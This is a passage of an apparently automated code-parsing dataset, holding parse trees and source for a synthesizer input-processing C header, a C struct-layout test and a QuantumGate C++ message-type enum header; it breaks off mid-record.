"column": 46}}, {"id": 20, "type": "declaration", "text": "bool eeprom_save_is_pending(void);", "parent": 0, "children": [21, 22], "start_point": {"row": 75, "column": 0}, "end_point": {"row": 75, "column": 34}}, {"id": 21, "type": "primitive_type", "text": "bool", "parent": 20, "children": [], "start_point": {"row": 75, "column": 0}, "end_point": {"row": 75, "column": 4}}, {"id": 22, "type": "function_declarator", "text": "eeprom_save_is_pending(void)", "parent": 20, "children": [23, 24], "start_point": {"row": 75, "column": 5}, "end_point": {"row": 75, "column": 33}}, {"id": 23, "type": "identifier", "text": "eeprom_save_is_pending", "parent": 22, "children": [], "start_point": {"row": 75, "column": 5}, "end_point": {"row": 75, "column": 27}}, {"id": 24, "type": "parameter_list", "text": "(void)", "parent": 22, "children": [25], "start_point": {"row": 75, "column": 27}, "end_point": {"row": 75, "column": 33}}, {"id": 25, "type": "parameter_declaration", "text": "void", "parent": 24, "children": [26], "start_point": {"row": 75, "column": 28}, "end_point": {"row": 75, "column": 32}}, {"id": 26, "type": "primitive_type", "text": "void", "parent": 25, "children": [], "start_point": {"row": 75, "column": 28}, "end_point": {"row": 75, "column": 32}}, {"id": 27, "type": "declaration", "text": "void poll_encoders(void);", "parent": 0, "children": [28, 29], "start_point": {"row": 94, "column": 0}, "end_point": {"row": 94, "column": 25}}, {"id": 28, "type": "primitive_type", "text": "void", "parent": 27, "children": [], "start_point": {"row": 94, "column": 0}, "end_point": {"row": 94, "column": 4}}, {"id": 29, "type": "function_declarator", "text": "poll_encoders(void)", "parent": 27, "children": [30, 31], "start_point": {"row": 94, "column": 5}, "end_point": {"row": 94, "column": 24}}, {"id": 30, "type": "identifier", "text": "poll_encoders", "parent": 29, "children": [], "start_point": {"row": 94, "column": 5}, "end_point": {"row": 94, "column": 18}}, {"id": 31, "type": "parameter_list", "text": "(void)", "parent": 29, "children": [32], "start_point": {"row": 94, "column": 18}, "end_point": {"row": 94, "column": 24}}, {"id": 32, "type": "parameter_declaration", "text": "void", "parent": 31, "children": [33], "start_point": {"row": 94, "column": 19}, "end_point": {"row": 94, "column": 23}}, {"id": 33, "type": "primitive_type", "text": "void", "parent": 32, "children": [], "start_point": {"row": 94, "column": 19}, "end_point": {"row": 94, "column": 23}}, {"id": 34, "type": "declaration", "text": "void poll_pushbuttons(void);", "parent": 0, "children": [35, 36], "start_point": {"row": 114, "column": 0}, "end_point": {"row": 114, "column": 28}}, {"id": 35, "type": "primitive_type", "text": "void", "parent": 34, "children": [], "start_point": {"row": 114, "column": 0}, "end_point": {"row": 114, "column": 4}}, {"id": 36, "type": "function_declarator", "text": "poll_pushbuttons(void)", "parent": 34, "children": [37, 38], "start_point": {"row": 114, "column": 5}, "end_point": {"row": 114, "column": 27}}, {"id": 37, "type": "identifier", "text": "poll_pushbuttons", "parent": 36, "children": [], "start_point": {"row": 114, "column": 5}, "end_point": {"row": 114, "column": 21}}, {"id": 38, "type": "parameter_list", "text": "(void)", "parent": 36, "children": [39], "start_point": {"row": 114, "column": 21}, "end_point": {"row": 114, "column": 27}}, {"id": 39, "type": "parameter_declaration", "text": "void", "parent": 38, "children": [40], "start_point": {"row": 114, "column": 22}, "end_point": {"row": 114, "column": 26}}, {"id": 40, "type": "primitive_type", "text": "void", "parent": 39, "children": [], "start_point": {"row": 114, "column": 22}, "end_point": {"row": 114, "column": 26}}, {"id": 41, "type": "declaration", "text": "void update_ADSR_inputs(void);", "parent": 0, "children": [42, 43], "start_point": {"row": 133, "column": 0}, "end_point": {"row": 133, "column": 30}}, {"id": 42, "type": "primitive_type", "text": "void", "parent": 41, "children": [], "start_point": {"row": 133, "column": 0}, "end_point": {"row": 133, "column": 4}}, {"id": 43, "type": "function_declarator", "text": "update_ADSR_inputs(void)", "parent": 41, "children": [44, 45], "start_point": {"row": 133, "column": 5}, "end_point": {"row": 133, "column": 29}}, {"id": 44, "type": "identifier", "text": "update_ADSR_inputs", "parent": 43, "children": [], "start_point": {"row": 133, "column": 5}, "end_point": {"row": 133, "column": 23}}, {"id": 45, "type": "parameter_list", "text": "(void)", "parent": 43, "children": [46], "start_point": {"row": 133, "column": 23}, "end_point": {"row": 133, "column": 29}}, {"id": 46, "type": "parameter_declaration", "text": "void", "parent": 45, "children": [47], "start_point": {"row": 133, "column": 24}, "end_point": {"row": 133, "column": 28}}, {"id": 47, "type": "primitive_type", "text": "void", "parent": 46, "children": [], "start_point": {"row": 133, "column": 24}, "end_point": {"row": 133, "column": 28}}, {"id": 48, "type": "declaration", "text": "void poll_gate_and_trigger_inputs(void);", "parent": 0, "children": [49, 50], "start_point": {"row": 152, "column": 0}, "end_point": {"row": 152, "column": 40}}, {"id": 49, "type": "primitive_type", "text": "void", "parent": 48, "children": [], "start_point": {"row": 152, "column": 0}, "end_point": {"row": 152, "column": 4}}, {"id": 50, "type": "function_declarator", "text": "poll_gate_and_trigger_inputs(void)", "parent": 48, "children": [51, 52], "start_point": {"row": 152, "column": 5}, "end_point": {"row": 152, "column": 39}}, {"id": 51, "type": "identifier", "text": "poll_gate_and_trigger_inputs", "parent": 50, "children": [], "start_point": {"row": 152, "column": 5}, "end_point": {"row": 152, "column": 33}}, {"id": 52, "type": "parameter_list", "text": "(void)", "parent": 50, "children": [53], "start_point": {"row": 152, "column": 33}, "end_point": {"row": 152, "column": 39}}, {"id": 53, "type": "parameter_declaration", "text": "void", "parent": 52, "children": [54], "start_point": {"row": 152, "column": 34}, "end_point": {"row": 152, "column": 38}}, {"id": 54, "type": "primitive_type", "text": "void", "parent": 53, "children": [], "start_point": {"row": 152, "column": 34}, "end_point": {"row": 152, "column": 38}}, {"id": 55, "type": "declaration", "text": "void set_encoders_to_active_adsr_values(void);", "parent": 0, "children": [56, 57], "start_point": {"row": 171, "column": 0}, "end_point": {"row": 171, "column": 46}}, {"id": 56, "type": "primitive_type", "text": "void", "parent": 55, "children": [], "start_point": {"row": 171, "column": 0}, "end_point": {"row": 171, "column": 4}}, {"id": 57, "type": "function_declarator", "text": "set_encoders_to_active_adsr_values(void)", "parent": 55, "children": [58, 59], "start_point": {"row": 171, "column": 5}, "end_point": {"row": 171, "column": 45}}, {"id": 58, "type": "identifier", "text": "set_encoders_to_active_adsr_values", "parent": 57, "children": [], "start_point": {"row": 171, "column": 5}, "end_point": {"row": 171, "column": 39}}, {"id": 59, "type": "parameter_list", "text": "(void)", "parent": 57, "children": [60], "start_point": {"row": 171, "column": 39}, "end_point": {"row": 171, "column": 45}}, {"id": 60, "type": "parameter_declaration", "text": "void", "parent": 59, "children": [61], "start_point": {"row": 171, "column": 40}, "end_point": {"row": 171, "column": 44}}, {"id": 61, "type": "primitive_type", "text": "void", "parent": 60, "children": [], "start_point": {"row": 171, "column": 40}, "end_point": {"row": 171, "column": 44}}, {"id": 62, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 173, "column": 0}, "end_point": {"row": 173, "column": 6}}]}, "node_categories": {"declarations": {"functions": [8, 15, 22, 29, 36, 43, 50, 57], "variables": [6, 11, 13, 18, 20, 25, 27, 32, 34, 39, 41, 46, 48, 53, 55, 60], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 9, 16, 23, 30, 37, 44, 51, 58, 62], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "get_and_cache_adsr_settings_from_EEPROM(void)"}, {"node_id": 15, "universal_type": "function", "name": "unknown", "text_snippet": "store_cached_adsr_settings_in_EEPROM(void)"}, {"node_id": 22, "universal_type": "function", "name": "unknown", "text_snippet": "eeprom_save_is_pending(void)"}, {"node_id": 29, "universal_type": "function", "name": "unknown", "text_snippet": "poll_encoders(void)"}, {"node_id": 36, "universal_type": "function", "name": "unknown", "text_snippet": "poll_pushbuttons(void)"}, {"node_id": 43, "universal_type": "function", "name": "unknown", "text_snippet": "update_ADSR_inputs(void)"}, {"node_id": 50, "universal_type": "function", "name": "unknown", "text_snippet": "poll_gate_and_trigger_inputs(void)"}, {"node_id": 57, "universal_type": "function", "name": "unknown", "text_snippet": "set_encoders_to_active_adsr_values(void)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "/*\n--|----------------------------------------------------------------------------|\n--| FILE DESCRIPTION:\n--| input_processing.h provides an interface for using various input\n--| processing helper functions.\n--| \n--|----------------------------------------------------------------------------|\n--| REFERENCES:\n--| None.\n--|\n--|----------------------------------------------------------------------------|\n*/\n\n#ifndef INPUT_PROCESSING_H_INCLUDED\n#define INPUT_PROCESSING_H_INCLUDED\n\n/*\n--|----------------------------------------------------------------------------|\n--| PUBLIC FUNCTION PROTOTYPES\n--|----------------------------------------------------------------------------|\n*/\n\n/*------------------------------------------------------------------------------\nFunction Name:\n get_and_cache_adsr_settings_from_EEPROM\n\nFunction Description:\n Read the ADSR settings stored in the EEPROM and update the values of\n the ADSRs with those settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid get_and_cache_adsr_settings_from_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n store_cached_adsr_settings_in_EEPROM\n\nFunction Description:\n Store the cached ADSR settings in the EEPROM.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid store_cached_adsr_settings_in_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n eeprom_save_is_pending\n\nFunction Description:\n Return true if there is new data to be written to the EEPROM, else false.\n\nParameters:\n None\n\nReturns:\n Boolean, true if an EEPROM write is pending, else false.\n\nAssumptions/Limitations:\n None\n------------------------------------------------------------------------------*/\nbool eeprom_save_is_pending(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_encoders\n\nFunction Description:\n Poll the four encoders and select the active encoder to the last\n encoder to be turned.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_encoders(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_pushbuttons\n\nFunction Description:\n Poll the four push-buttons and set the active ADSR to the last button\n clicked, and set the ADSR mode to lock-to-master if there is a long\n button press.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_pushbuttons(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n update_ADSR_inputs\n\nFunction Description:\n Update the Attack, Decay, Sustain, and Release inputs for each of the\n four ADSRs based on the encoder readings and current mode.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid update_ADSR_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_gate_and_trigger_inputs\n\nFunction Description:\n Poll the gate and trigger inputs and deliver gate on/off messages to the\n ADSRs.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_gate_and_trigger_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n set_encoders_to_active_adsr_values\n\nFunction Description:\n Set the encoders to the values held by active ADSR and update the cached\n encoder settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid set_encoders_to_active_adsr_values(void);\n\n#endif\n"}
81,157
c
// RUN: %layout_check %s struct A { char a; /* b c d */ long l; int i; } a = { 1, 2 }; /* .byte 1, .space 7 .quad 2 .space 4, .space 4 */
11.17
12
(translation_unit) "// RUN: %layout_check %s\nstruct A\n{\n char a; /* b c d */\n long l;\n int i;\n} a = { 1, 2 };\n\n/*\n.byte 1, .space 7\n.quad 2\n.space 4, .space 4\n*/\n" (comment) "// RUN: %layout_check %s" (declaration) "struct A\n{\n char a; /* b c d */\n long l;\n int i;\n} a = { 1, 2 };" (struct_specifier) "struct A\n{\n char a; /* b c d */\n long l;\n int i;\n}" (struct) "struct" (type_identifier) "A" (field_declaration_list) "{\n char a; /* b c d */\n long l;\n int i;\n}" ({) "{" (field_declaration) "char a;" (primitive_type) "char" (field_identifier) "a" (;) ";" (comment) "/* b c d */" (field_declaration) "long l;" (sized_type_specifier) "long" (long) "long" (field_identifier) "l" (;) ";" (field_declaration) "int i;" (primitive_type) "int" (field_identifier) "i" (;) ";" (}) "}" (init_declarator) "a = { 1, 2 }" (identifier) "a" (=) "=" (initializer_list) "{ 1, 2 }" ({) "{" (number_literal) "1" (,) "," (number_literal) "2" (}) "}" (;) ";" (comment) "/*\n.byte 1, .space 7\n.quad 2\n.space 4, .space 4\n*/"
34
0
{"language": "c", "success": true, "metadata": {"lines": 12, "avg_line_length": 11.17, "nodes": 20, "errors": 0, "source_hash": "dccdfa3ee43ed152779b77c2bf793764e33d6c727d4a48d6469e04f169bff175", "categorized_nodes": 14}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "declaration", "text": "struct A\n{\n\tchar a; /* b c d */\n\tlong l;\n\tint i;\n} a = { 1, 2 };", "parent": null, "children": [1, 14], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 6, "column": 15}}, {"id": 1, "type": "struct_specifier", "text": "struct A\n{\n\tchar a; /* b c d */\n\tlong l;\n\tint i;\n}", "parent": 0, "children": [2, 3], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 6, "column": 1}}, {"id": 2, "type": "struct", "text": "struct", "parent": 1, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 6}}, {"id": 3, "type": "type_identifier", "text": "A", "parent": 1, "children": [], "start_point": {"row": 1, "column": 7}, "end_point": {"row": 1, "column": 8}}, {"id": 4, "type": "field_declaration", "text": "char a;", "parent": 1, "children": [5, 6], "start_point": {"row": 3, "column": 1}, "end_point": {"row": 3, "column": 8}}, {"id": 5, "type": "primitive_type", "text": "char", "parent": 4, "children": [], "start_point": {"row": 3, "column": 1}, "end_point": {"row": 3, "column": 5}}, {"id": 6, "type": "field_identifier", "text": "a", "parent": 4, "children": [], "start_point": {"row": 3, "column": 6}, "end_point": {"row": 3, "column": 7}}, {"id": 7, "type": "field_declaration", "text": "long l;", "parent": 1, "children": [8, 10], "start_point": {"row": 4, "column": 1}, "end_point": {"row": 4, "column": 8}}, {"id": 8, "type": "sized_type_specifier", "text": "long", "parent": 7, "children": [9], "start_point": {"row": 4, "column": 1}, "end_point": {"row": 4, "column": 5}}, {"id": 9, "type": "long", "text": "long", "parent": 8, "children": [], "start_point": {"row": 4, "column": 1}, "end_point": {"row": 4, "column": 5}}, {"id": 10, "type": "field_identifier", "text": "l", "parent": 7, "children": [], "start_point": {"row": 4, "column": 6}, "end_point": {"row": 4, "column": 7}}, {"id": 11, "type": "field_declaration", "text": "int i;", "parent": 1, "children": [12, 13], "start_point": {"row": 5, "column": 1}, "end_point": {"row": 5, "column": 7}}, {"id": 12, "type": "primitive_type", "text": "int", "parent": 11, "children": [], "start_point": {"row": 5, "column": 1}, "end_point": {"row": 5, "column": 4}}, {"id": 13, "type": "field_identifier", "text": "i", "parent": 11, "children": [], "start_point": {"row": 5, "column": 5}, "end_point": {"row": 5, "column": 6}}, {"id": 14, "type": "init_declarator", "text": "a = { 1, 2 }", "parent": 0, "children": [15, 16, 17], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 14}}, {"id": 15, "type": "identifier", "text": "a", "parent": 14, "children": [], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 3}}, {"id": 16, "type": "=", "text": "=", "parent": 14, "children": [], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 5}}, {"id": 17, "type": "initializer_list", "text": "{ 1, 2 }", "parent": 14, "children": [18, 19], "start_point": {"row": 6, "column": 6}, "end_point": {"row": 6, "column": 14}}, {"id": 18, "type": "number_literal", "text": "1", "parent": 17, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 9}}, {"id": 19, "type": "number_literal", "text": "2", "parent": 17, "children": [], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 12}}]}, "node_categories": {"declarations": {"functions": [], "variables": [0, 4, 7, 11], "classes": [1, 2], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [3, 6, 8, 10, 13, 15], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [18, 19], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [{"node_id": 1, "universal_type": "class", "name": "A", "text_snippet": "struct A\n{\n\tchar a; /* b c d */\n\tlong l;\n\tint i;\n}"}, {"node_id": 2, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": []}, "original_source_code": "// RUN: %layout_check %s\nstruct A\n{\n\tchar a; /* b c d */\n\tlong l;\n\tint i;\n} a = { 1, 2 };\n\n/*\n.byte 1, .space 7\n.quad 2\n.space 4, .space 4\n*/\n"}
81,158
c
// This file is part of the QuantumGate project. For copyright and // licensing information refer to the license file(s) in the project root. #pragma once namespace QuantumGate::Implementation::Core { enum class MessageType : UInt16 { Unknown = 0, BeginMetaExchange = 10, EndMetaExchange = 20, BeginPrimaryKeyExchange = 30, EndPrimaryKeyExchange = 40, BeginSecondaryKeyExchange = 50, EndSecondaryKeyExchange = 60, BeginAuthentication = 70, EndAuthentication = 80, BeginSessionInit = 90, EndSessionInit = 100, BeginPrimaryKeyUpdateExchange = 110, EndPrimaryKeyUpdateExchange = 120, BeginSecondaryKeyUpdateExchange = 130, EndSecondaryKeyUpdateExchange = 140, KeyUpdateReady = 150, ExtenderCommunication = 160, ExtenderUpdate = 170, Noise = 180, RelayCreate = 300, RelayStatus = 310, RelayData = 320, RelayDataAck = 330 }; enum class RelayStatusUpdate : UInt8 { Disconnected = 0, Connected = 1, Suspended = 2, Resumed = 3, GeneralFailure = 4, ConnectionReset = 5, NoPeersAvailable = 6, HostUnreachable = 7, ConnectionRefused = 8, TimedOut = 9 }; }
23.82
45
(translation_unit) "// This file is part of the QuantumGate project. For copyright and\n// licensing information refer to the license file(s) in the project root.\n\n#pragma once\n\nnamespace QuantumGate::Implementation::Core\n{\n enum class MessageType : UInt16\n {\n Unknown = 0,\n\n BeginMetaExchange = 10,\n EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330\n };\n\n enum class RelayStatusUpdate : UInt8\n {\n Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9\n };\n}" (comment) "// This file is part of the QuantumGate project. For copyright and" (comment) "// licensing information refer to the license file(s) in the project root." (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (ERROR) "namespace QuantumGate::Implementation::Core\n{\n enum class MessageType : UInt16\n {\n Unknown = 0,\n\n BeginMetaExchange = 10,\n EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330\n };\n\n enum class RelayStatusUpdate : UInt8\n {\n Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9\n };\n}" (type_identifier) "namespace" (ERROR) "QuantumGate::Implementation::" (identifier) "QuantumGate" (:) ":" (:) ":" (identifier) "Implementation" (:) ":" (:) ":" (identifier) "Core" ({) "{" (enum_specifier) "enum class" (enum) "enum" (type_identifier) "class" (identifier) "MessageType" (ERROR) ": UInt16" (:) ":" (identifier) "UInt16" ({) "{" (expression_statement) "Unknown = 0,\n\n BeginMetaExchange = 10,\n EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330\n };" (comma_expression) "Unknown = 0,\n\n BeginMetaExchange = 10,\n EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "Unknown = 0" (identifier) "Unknown" (=) "=" (number_literal) "0" (,) "," (comma_expression) "BeginMetaExchange = 10,\n EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginMetaExchange = 10" (identifier) "BeginMetaExchange" (=) "=" (number_literal) "10" (,) "," (comma_expression) "EndMetaExchange = 20,\n BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndMetaExchange = 20" (identifier) "EndMetaExchange" (=) "=" (number_literal) "20" (,) "," (comma_expression) "BeginPrimaryKeyExchange = 30,\n EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginPrimaryKeyExchange = 30" (identifier) "BeginPrimaryKeyExchange" (=) "=" (number_literal) "30" (,) "," (comma_expression) "EndPrimaryKeyExchange = 40,\n BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndPrimaryKeyExchange = 40" (identifier) "EndPrimaryKeyExchange" (=) "=" (number_literal) "40" (,) "," (comma_expression) "BeginSecondaryKeyExchange = 50,\n EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginSecondaryKeyExchange = 50" (identifier) "BeginSecondaryKeyExchange" (=) "=" (number_literal) "50" (,) "," (comma_expression) "EndSecondaryKeyExchange = 60,\n BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndSecondaryKeyExchange = 60" (identifier) "EndSecondaryKeyExchange" (=) "=" (number_literal) "60" (,) "," (comma_expression) "BeginAuthentication = 70,\n EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginAuthentication = 70" (identifier) "BeginAuthentication" (=) "=" (number_literal) "70" (,) "," (comma_expression) "EndAuthentication = 80,\n BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndAuthentication = 80" (identifier) "EndAuthentication" (=) "=" (number_literal) "80" (,) "," (comma_expression) "BeginSessionInit = 90,\n EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginSessionInit = 90" (identifier) "BeginSessionInit" (=) "=" (number_literal) "90" (,) "," (comma_expression) "EndSessionInit = 100,\n\n BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 